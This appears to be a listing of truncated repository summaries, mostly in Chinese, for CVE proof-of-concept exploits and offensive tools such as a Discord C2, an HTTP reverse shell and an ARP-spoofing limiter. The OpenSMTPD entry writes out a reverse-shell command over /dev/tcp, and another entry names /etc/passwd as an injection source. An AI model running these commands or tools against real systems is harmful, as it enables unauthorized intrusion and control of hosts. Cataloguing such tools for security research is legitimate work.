CVE-2018-2893

CVE-2018-2893 步骤 1 java -jar ysoserial-cve-2018-2893.jar WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pynerd JRMPClient4 @pynerd...

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 是 Cacti（一款网络监控与管理软件）中发现的一个安全漏洞。该漏洞允许攻击者发送特制的 HTTP 请求，在无需认证的情况下远程利用系统。利用此漏洞，攻击者可以在目标系统上执行任意系统命令。这带来了重大风险，使得未经授权的个人能够控制受影响系统，并可能以高权限实施恶意活动。该漏洞位于 remoteagent.php 中。解决方案是升级到 Cacti 1.2.23、1.3.0 或更高版本。...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 安全研究声明 本项目仅用于安全研究和教育目的。使用本工具进行未经授权的测试是非法的。作者不对任何滥用或损害负责。 📋 概述 CVE-2024-31317 是一个影响 Android 9 至 Android 13 设备的严重安全漏洞，允许具有 WRITESECURESETTINGS 权限的应用程序通过命令注入获得系统级权限执行。 本项目提供了该漏洞的详细技术分析、概念验证代码以及自动化部署工具。 ✨ 主要特性 📱 支持 Android 9-13 全版本 🛠️ 自动化部署脚本 🔄 反向 Shell 连接 📊 详细的技术文档 🎯 模块化设计 🐛...

CVE-2016-3714.ansible.role

Ansible 角色：CVE-2016-3714 使用 Ansible 修复 ImageMagick 命令注入（CVE-2016-3714） 安全问题。 Requirements 任何安装了 ImageMagick 且版本低于 v6.7.7.10 的机器。 Role Variables 此处应放置本角色可设置变量的说明，包括 defaults/main.yml 中的任何变量。 policypath: "/etc/ImageMagick/policy.xml" injectionsrc: "/etc/passwd" injectiondest: "/tmp/hack.txt"...

CVE-2025-11953-PoC

描述 Metro 开发服务器由 React Native Community CLI 启动，默认绑定到外部接口。该服务器暴露了一个存在操作系统命令注入漏洞的端点，这使得未经身份验证的网络攻击者可以向服务器发送 POST 请求并运行任意可执行文件。在 Windows 上，攻击者还可以使用完全受控的参数执行任意 shell 命令。 受影响版本 产品| 严重性| 受影响版本| 修复版本 ---|---|---|--- @react-native-community/cli| 严重 9.8| 4.8.0 - 20.0.0‑alpha.2| 20.0.0 用法 1. 安装依赖 npm instal...

CVE-2025-56803

CVE-2025-56803 Figma桌面应用程序中的插件执行OS命令注入漏洞 1. 概述 应用程序 ：Figma桌面应用程序 版本 ：125.6.5 供应商 ：Figma, Inc. CWE ：CWE-78：OS命令中特殊元素的不当中和（'OS命令注入'） CVSS ：8.4 向量字符串 ：CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 2. 摘要 Figma桌面应用程序（v125.6.5）在插件加载器中存在命令注入漏洞。...

DaaC2

DaaC2 - 将 Discord 用作 C2 我写这个是因为我太无聊了，想拿一个 Discord 机器人玩玩，看看能不能通过 Discord 在 C2 服务器和 agent 之间建立一条通信线路。结果发现效果还不错。理想情况下，如果有更多时间，我会把它用作初始投放器，然后通过注入升级我的 shell。但你知道，我不是红队队员——所以谁知道我实际上会用它做什么。我只是喜欢做东西。 更多信息可以在这里看到：https://crawl3r.github.io/2020-01-25/DaaC2 使用方法： 在 Discord...

evillimiter

Evil Limiter A tool to monitor, analyze and limit the bandwidth upload/download of devices on your local network without physical or administrative access. evillimiter employs ARP spoofing and traffic shaping to throttle the bandwidth of hosts on the network. Searching for a Windows-compatible...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs 向 Nagios XI 报告的漏洞 CVE-2021-25296 代码位置 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php 代码片段 if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...

HTTP-Shell

HTTP-Shell HTTP-Shell es una Reverse Shell multiplataforma. Esta herramienta te ayuda a obtener una interfaz tipo shell en una conexión inversa sobre HTTP. A diferencia de otras reverse shells, el objetivo principal de la herramienta es utilizarla junto con Microsoft Dev Tunnels, para obtener una...

CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb 认证操作系统命令注入 Hit Counter FortiWeb 管理界面中的命令注入漏洞可能允许已认证的远程攻击者通过 SAML 服务器配置页面在系统中执行任意命令。以最高权限执行命令将导致攻击者完全控制服务器。这是 CWE-78：OS 命令中特殊元素的不当中和 的一个实例，其 CVSSv3 基础评分为 8.7。该漏洞的编号为 CVE-2021-22123，已在 Fortiguard Lab 页面 FG-IR-20-120 中得到解决。 基本上，SAML 代表安全断言标记语言（Security Assertion Mark...

CVE-2023-22527

我对任何非法攻击不承担责任 CVE-2023-22527 批量扫描脚本 帮助 usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD, --thread THREAD Number of threads 批量扫描结果保存在...

CVE-2019-14287-write-up

CVE-2019-14287 漏洞利用说明 4294967295 Sudo 漏洞允许受限用户以 root 身份运行命令 漏洞演示 添加新用户： sudo su - root useradd -m -s /bin/bash testuser passwd testuser // 为用户添加密码 visudo 添加新条目 test ALL=ALL, !root /usr/bin/id // 指定此用户不能使用 root 用户执行 id 命令 保存文件并退出 root 用户 登录到测试用户 sudo su - test 执行命令 sudo id 您将看到消息：Sorry, user test ...

CVE-2020-7384

CVE-2020-7384 这是一个用 bash 编写的小型漏洞利用脚本，是我在解决 Hack The Box 上的一个机器时编写的。 此漏洞利用脚本修改自此处提供的原始漏洞利用脚本：https://github.com/justinsteven/advisories/blob/master/2020metasploitmsfvenomapktemplatecmdi.md 用法 dos2unix CVE-2020-7384.sh bash CVE-2020-7384.sh...

CVE-2024-48705

概述 在近期对 Wavlink AC1200（型号：WL-WN532A3）进行的安全研究中，发现 "/cgi-bin/adm.cgi" 端点存在一个认证后命令注入漏洞。该漏洞可能使已攻破路由器凭据的恶意攻击者能够运行任意 shell 命令。目前正在为该漏洞申请 CVE 编号。 固件提取 收到 Wavlink AC1200 路由器后，识别出已加载的固件版本为 'M32A3V1410230602'。然而，该特定固件版本在官方 Wavlink 支持网站上并未提供。Wavlink 仅提供了一个固件版本...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

CVE-2020-2034-POC

CVE-2020-2034-POC 确定Palo Alto网络防火墙Global Protect Portal上运行的版本 最近Palo Alto Networks发布了许多关键漏洞，详见： https://security.paloaltonetworks.com/?severity=CRITICAL&product=PAN-OS&sort=-date 这是一个PoC，通过检查favicon和login.esp的curl扫描中的etag，来确定防火墙使用的版本。 参考： CWE-78影响： https://cwe.mitre.org/data/definitions/78 来自The...

deepin-linux_reader_RCE-exploit

CVE-2023-50254 - Deepin Linux 默认文档查看器 deepin-reader 远程代码执行漏洞 CVE-2023-50254：针对 Deepin-reader 远程代码执行漏洞的 PoC 利用，影响未打补丁的 Deepin Linux 桌面系统。Deepin Linux 默认文档阅读器 "deepin-reader" 软件因设计缺陷存在严重漏洞，可通过特制的 docx 文档实现远程命令执行。 详情 Deepin-reader 是 Deepin Linux 操作系统的默认文档阅读器。deepin-reader 在处理 docx 文档格式时会执行某些 shell...

CVE-2025-9074-Docker-Exploit

CVE-2025-9074 Docker 容器命令执行工具 一个功能强大的 Docker 远程 API 漏洞利用工具，用于 CVE-2025-9074 漏洞的安全研究和测试。 核心优势 ✅ 全自动容器生命周期管理 ：自动创建临时容器，操作完成后自动清理，不留痕迹 ✅ 智能路径处理 ：自动识别并转换 Windows 路径为 Docker 挂载格式 ✅ 全自动化操作流程 ：无需手动输入复杂命令，菜单式交互，一键完成文件操作 ✅ 跨平台兼容 ：完美支持 Windows 和 Linux 系统 部分功能效果图 功能特性 容器操作 查看运行中的容器 查看所有容器（包括停止的） 创建新容器 停止容器...